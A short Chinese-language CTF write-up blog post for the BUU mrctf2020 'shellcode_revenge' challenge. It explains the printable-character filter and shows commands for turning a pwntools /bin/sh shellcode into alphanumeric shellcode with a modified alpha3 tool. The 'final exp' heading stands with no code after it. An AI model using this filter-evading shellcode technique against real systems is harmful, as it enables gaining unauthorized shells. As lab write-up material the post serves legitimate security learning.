BUU-mrctf2020_shellcode_revenge-WP(可见字符shellcode)

Posted on Nov 23, 2020

这道题大概又是以为call了rax所以无法F5,不过这个的关系倒是不大,代码逻辑还是好理解的

我们要做的就是执行到右边的语句,为了执行右边我们需要执行左边的语句strlen(buf)次,也就是说buf(我们输入的字符串)中必须满足之前的条件。也就是每个字符的ASCII码必须属于(0x60,0x7A]∩(0x2F,0x5A]才会执行code。到这里之后我就不会了,于是我搜了一下别的师傅的wp,原来这个属于string.printable,就是可见字符shellcode。这里使用alpha3就可以生成了。

依据TaQini这位师傅的博客,我们可以使用他修改过的来生成

git clone https://github.com/TaQini/alpha3.git
cd alpha3
//需要先生成普通的shellcode
vim sc.py

在sc.py中写

from pwn import *
context.arch='amd64'#这里用64位平台做示例
sc = shellcraft.sh()#这里用shell做示例
print asm(sc)

然后通过

python sc.py > shellcode

生成shellcode并通过输出重定向到shellcode将shellcode写到shellcode文件中。

然后

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

即可生成64位下的rax shellcode了。

最后的exp

据这位博主所言,我校也有位师傅写了针对64位的可视shellcode生成AE64